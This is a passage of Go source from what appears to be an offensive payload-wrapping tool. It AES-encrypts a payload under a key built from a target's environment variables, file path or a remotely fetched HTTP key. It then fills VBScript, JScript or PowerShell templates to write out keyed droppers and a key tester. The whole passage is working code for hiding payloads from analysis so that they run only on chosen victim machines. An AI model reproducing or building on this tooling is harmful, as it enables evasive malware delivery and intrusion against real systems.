err != nil { 81 | return 82 | } 83 | 84 | // set up env vars code 85 | result, err = envVarCode(result, envVarOrder, payloadWriter) 86 | if err != nil { 87 | return 88 | } 89 | 90 | // TODO: handle multiple SHA512 iterations 91 | keyHash := lib.GenerateSHA512(strings.ToLower(key))[:32] 92 | text, iv, err := lib.AESEncrypt([]byte(keyHash), []byte(payload)) 93 | 94 | if err != nil { 95 | fmt.Printf("[!] Error received encrypting: %s", err) 96 | return 97 | } 98 | 99 | result = bytes.Replace(result, []byte("~AESIVBASE64~"), []byte(iv), 1) 100 | result = bytes.Replace(result, []byte("~ENCRYPTEDBASE64~"), []byte(text), 1) 101 | result = bytes.Replace(result, []byte("~PAYLOADHASH~"), []byte(payloadHash), 1) 102 | result = bytes.Replace(result, []byte("~MINUSBYTES~"), []byte(string(config.MinusBytes)), 1) 103 | 104 | outfile := "payload" + payloadWriter.Extension 105 | writeFile(outfile, result) 106 | 107 | fmt.Println("\nPAYLOAD DETAILS-----------------------") 108 | fmt.Println("Output File: " + outfile) 109 | fmt.Println("Environmental Keys: " + key) 110 | fmt.Println("Decryption Key: " + keyHash) 111 | fmt.Println("Payload Hash: " + payloadHash) 112 | if httpKey != "" { 113 | fmt.Println("HTTP Key: " + httpKey) 114 | } 115 | 116 | } 117 | 118 | // Config defines structure to be read from config.json 119 | type Config struct { 120 | Language string 121 | WSHAutoVersion string 122 | StartDir string 123 | Depth string 124 | PathKey string 125 | EnvVars map[string]string 126 | Payload string 127 | PayloadPath string 128 | MinusBytes string 129 | HttpKeyUrl string 130 | HttpKeyUA string 131 | HttpKeyRetry string 132 | } 133 | 134 | // PayloadWriter for handling what to write 135 | type PayloadWriter struct { 136 | Language string 137 | WSHAutoVersion string 138 | BaseTemplate string 139 | DirTemplate string 140 | EnvKeyTemplate string 141 | AutoVersionTemplate string 142 | HttpKeyTemplate string 143 | HttpKeyTestTemplate string 144 | EnvKeyCode string 145 | Extension string 146 | } 147 | 148 | func setupPayloadWriter(lang string) *PayloadWriter { 149 | switch lang { 150 | case "vbscript": 151 | return &PayloadWriter{ 152 | Language: "vbscript", 153 | BaseTemplate: "data/vbscript/base.vbs", 154 | DirTemplate: "data/vbscript/directory.vbs", 155 | EnvKeyTemplate: "data/vbscript/envkey.vbs", 156 | AutoVersionTemplate: "data/vbscript/autoversion.vbs", 157 | HttpKeyTemplate: "data/vbscript/httpkey.vbs", 158 | HttpKeyTestTemplate: "data/vbscript/httpkey-test.vbs", 159 | EnvKeyCode: "oEnv(\"%s\")", 160 | Extension: ".vbs"} 161 | case "jscript": 162 | return &PayloadWriter{ 163 | Language: "jscript", 164 | BaseTemplate: "data/jscript/base.js", 165 | DirTemplate: "data/jscript/directory.js", 166 | EnvKeyTemplate: "data/jscript/envkey.js", 167 | AutoVersionTemplate: "data/jscript/autoversion.js", 168 | HttpKeyTemplate: "data/jscript/httpkey.js", 169 | HttpKeyTestTemplate: "data/jscript/httpkey-test.js", 170 | EnvKeyCode: "oEnv(\"%s\")", 171 | Extension: ".js"} 172 | case "powershell": 173 | return &PayloadWriter{ 174 | Language: "powershell", 175 | BaseTemplate: "data/powershell/base.ps1", 176 | DirTemplate: "data/powershell/directory.ps1", 177 | EnvKeyTemplate: "data/powershell/envkey.ps1", 178 | AutoVersionTemplate: "", 179 | HttpKeyTemplate: "data/powershell/httpkey.ps1", 180 | HttpKeyTestTemplate: "data/powershell/httpkey-test.ps1", 181 | EnvKeyCode: "$oEnv.Invoke(\"%s\")", 182 | Extension: ".ps1"} 183 | default: 184 | return nil 185 | } 186 | } 187 | 188 | func parseConfig(configPath string) *Config { 189 | if configPath == "" { 190 | configPath = "config.json" 191 | } 192 | file, err := os.Open(configPath) 193 | if err != nil { 194 | fmt.Println("[!] Error reading config.json") 195 | return nil 196 | } 197 | decoder := json.NewDecoder(file) 198 | config := Config{} 199 | err = decoder.Decode(&config) 200 | if err != nil { 201 | fmt.Println("[!] Error parsing config.json:", err) 202 | return nil 203 | } 204 | return &config 205 | } 206 | 207 | func readFile(path string) ([]byte, error) { 208 | fileBytes, err := ioutil.ReadFile(path) 209 | if err != nil { 210 | return nil, errors.New("[!] readFile: Error reading file") 211 | } 212 | return fileBytes, nil 213 | } 214 | 215 | func writeFile(filename string, contents []byte) { 216 | f, err := os.Create(filename) 217 | if err != nil { 218 | panic(err) 219 | } 220 | 221 | defer f.Close() 222 | 223 | _, err = f.Write(contents) 224 | if err != nil { 225 | panic(err) 226 | } 227 | } 228 | 229 | // Get base code to start 230 | func baseCode(autoVersion string, pw *PayloadWriter) ([]byte, error) { 231 | baseCode, err := readFile(pw.BaseTemplate) 232 | if err != nil { 233 | fmt.Printf("[!] Unable to read %s\n", (pw.BaseTemplate)) 234 | return nil, err 235 | } 236 | 237 | if pw.AutoVersionTemplate != "" { 238 | if strings.ToLower(autoVersion) == "yes" { 239 | av, err := readFile(pw.AutoVersionTemplate) 240 | if err != nil { 241 | fmt.Printf("[!] Unable to read %s\n", (pw.AutoVersionTemplate)) 242 | return nil, err 243 | } 244 | baseCode = bytes.Replace(baseCode, []byte("~AUTOVERSION~"), []byte(av), 1) 245 | } else { 246 | baseCode = bytes.Replace(baseCode, []byte("~AUTOVERSION~"), []byte(""), 1) 247 | } 248 | } 249 | 250 | return baseCode, nil 251 | } 252 | 253 | // Get directory code for directory walking 254 | func directoryCode(text []byte, startDir, depth string, pw *PayloadWriter) ([]byte, error) { 255 | if startDir != "" { 256 | contents, err := readFile(pw.DirTemplate) 257 | if err != nil { 258 | fmt.Printf("[!] Error reading %s\n", pw.DirTemplate) 259 | return nil, err 260 | } 261 | 262 | // JScript needs escaped slashes, VBS does not 263 | if pw.Language == "jscript" { 264 | startDir = strings.Replace(startDir, "\\", "\\\\", -1) 265 | } 266 | 267 | // To save on payload code size just assigning 268 | // a huge number for now 269 | if depth == "" { 270 | depth = "100000" 271 | } 272 | 273 | result := bytes.Replace(text, []byte("~WALKOS~"), contents, 1) 274 | result = bytes.Replace(result, []byte("~STARTDIR~"), []byte(startDir), 1) 275 | result = bytes.Replace(result, []byte("~DEPTH~"), []byte(depth), 1) 276 | 277 | return result, nil 278 | } 279 | result := bytes.Replace(text, []byte("~WALKOS~"), []byte(""), 1) 280 | return result, nil 281 | } 282 | 283 | // Set up the environmental vars code within the script 284 | // TODO: This got overly complex, need to simplify 285 | func envVarCode(text []byte, envVarCode []string, pw *PayloadWriter) ([]byte, error) { 286 | if len(envVarCode) > 0 { 287 | contents, err := readFile(pw.EnvKeyTemplate) 288 | if err != nil { 289 | fmt.Printf("[!] Error reading %s\n", pw.EnvKeyTemplate) 290 | return nil, err 291 | } 292 | 293 | result := bytes.Replace(text, []byte("~ENVVAR~"), contents, 1) 294 | 295 | envs := fmt.Sprintf(pw.EnvKeyCode, envVarCode[0]) 296 | if len(envVarCode) > 1 { 297 | for _, envVar := range envVarCode[1:] { 298 | envs += fmt.Sprintf(", "+pw.EnvKeyCode, envVar) 299 | } 300 | } 301 | result = bytes.Replace(result, []byte("~ENVVARS~"), []byte(envs), 1) 302 | 303 | return result, nil 304 | } 305 | result := bytes.Replace(text, []byte("~ENVVAR~"), []byte(""), 1) 306 | return result, nil 307 | } 308 | 309 | // returns the new payload, httpkey, and err 310 | func httpKeyCode(httpKey, payload string, config *Config, pw *PayloadWriter) (string, string, error) { 311 | if httpKey == "" { 312 | var err error 313 | httpKey, err = lib.GenerateHttpKey(config.HttpKeyUrl, config.HttpKeyUA) 314 | if err != nil { 315 | fmt.Printf("[!] Error accessing %s\n%s\n", config.HttpKeyUrl, err) 316 | return "", "", err 317 | } 318 | } 319 | 320 | payloadHash := lib.GenerateSHA512(payload) 321 | text, iv, err := lib.AESEncrypt([]byte(httpKey), []byte(payload)) 322 | if err != nil { 323 | fmt.Printf("[!] Error received encrypting: %s\n", err) 324 | return "", "", err 325 | } 326 | 327 | contents, err := readFile(pw.HttpKeyTemplate) 328 | if err != nil { 329 | return "", "", err 330 | } 331 | 332 | if config.HttpKeyUA == "" { 333 | config.HttpKeyUA = "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 334 | } 335 | 336 | result := bytes.Replace(contents, []byte("~HKPAYLOADHASH~"), []byte(payloadHash), 1) 337 | result = bytes.Replace(result, []byte("~HKPAYLOAD~"), []byte(text), 1) 338 | result = bytes.Replace(result, []byte("~RETRYNUM~"), []byte(config.HttpKeyRetry), 1) 339 | result = bytes.Replace(result, []byte("~HKURL~"), []byte(config.HttpKeyUrl), 1) 340 | result = bytes.Replace(result, []byte("~HKUSERAGENT~"), []byte(config.HttpKeyUA), 1) 341 | result = bytes.Replace(result, []byte("~HKIV~"), []byte(iv), 1) 342 | 343 | httpKeyTestCode(config.HttpKeyUrl, config.HttpKeyUA, httpKey, pw) 344 | 345 | return string(result), httpKey, nil 346 | } 347 | 348 | func httpKeyTestCode(url, ua, httpKey string, pw *PayloadWriter) { 349 | contents, err := readFile(pw.HttpKeyTestTemplate) 350 | if err != nil { 351 | return 352 | } 353 | 354 | result := bytes.Replace(contents, []byte("~HTTPKEY~"), []byte(httpKey), 1) 355 | result = bytes.Replace(result, []byte("~HKURL~"), []byte(url), 1) 356 | result = bytes.Replace(result, []byte("~HKUSERAGENT~"), []byte(ua), 1) 357 | 358 | outfile := "httpkey-tester" + pw.Extension 359 | fmt.Printf("[*] Make sure to test the httpkey with %s!\n", outfile) 360 | writeFile(outfile, result) 361 | } 362 | 363 | // buildKey builds the final key with env vars, path, etc. and also returns 364 | // the order of the env vars (maps don't always come out in same order) 365 | // key = [env var 1][env var 2][env var N][file path] 366 | func buildKey(envVars map[string]string, filePath string) (string, []string) { 367 | result := "" 368 | envVarOrder := make([]string, len(envVars)) 369 | 370 | i := 0 371 | for k, v := range envVars { 372 | result += v 373 | envVarOrder[i] = k 374 | i++ 375 | } 376 | result += filePath 377 | 378 | return result, envVarOrder 379 | } 380 | --------------------------------------------------------------------------------